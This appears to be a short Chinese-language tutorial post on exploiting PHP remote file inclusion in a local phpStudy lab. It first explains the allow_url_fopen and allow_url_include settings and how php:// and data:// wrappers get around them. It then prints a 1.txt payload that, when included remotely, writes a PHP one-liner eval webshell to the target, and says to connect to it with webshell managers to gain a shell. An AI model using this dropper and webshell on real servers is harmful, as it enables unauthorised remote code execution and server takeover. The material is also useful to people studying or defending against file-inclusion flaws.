这个还得修改一下!!!!
这个PHP配置文件的目录在这:
D:\phpStudy\PHPTutorial\php\php-5.4.45(这里如果你和我一样使用的是PHPSTUDY,你需要了解当前你使用的PHP是什么版本再去修改相应的配置文件!!!)
在806行!!!!
重启,查看!!!正常!!!
这里补充一个小知识!!!!
all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)
禁止allow_url_include解决了远端引用(Include)的问题, 同时又让我们还可以在
一般的情形下使用fopen去打开远端的档案, 而不必再牵连上打开include函数所带来的风险.因此在新版PHP中allow_url_fopen选项预设是打开的,而allow_url_include则预设是关闭的.然而事实上若从系统角度来看,即使禁止了PHP的allow_url_fopen和allow_url_include功能,其实也不能完全阻止远端调用及其所带来的安全隐忧,而且它们只是保护了标记为URL的句柄,也就是说只能影响http(s)和ftp(s)的调用, 但对包含其他标记的远端调用,例如对PHP5.2.0新版所提供的php和data则无能为力,而这些调用一样会导致注入风险。
远程文件包含漏洞的危害远高于本地包含,因为你可以完全自己可控包含的文件内容!!!
在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
例如:我写txt文件,包含它,让它运行生成一句话木马!!!
小知识:远程文件包含利用条件:
- php.ini中allow_url_include和allow_url_fopen的开启
- 所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
在本地写一个这个文件:命令为1.txt
<?php
$myfile = fopen(“1.php”, “w”);
$txt = ‘<?php @eval($_POST[“zhifei”]);?>’;
fwrite($myfile, $txt);
fclose($myfile);
?>
利用以下远程文件包含链接:执行
然后在目标文件夹下:生成1.php 文件:
接着就可以通过菜刀或者蚁剑或者冰蝎进行链接,从而GETSHELL!!!!
成功!!!!
来源:freebuf.com 2021-07-27 08:20:08 by: 知非知非知非
请登录后发表评论
注册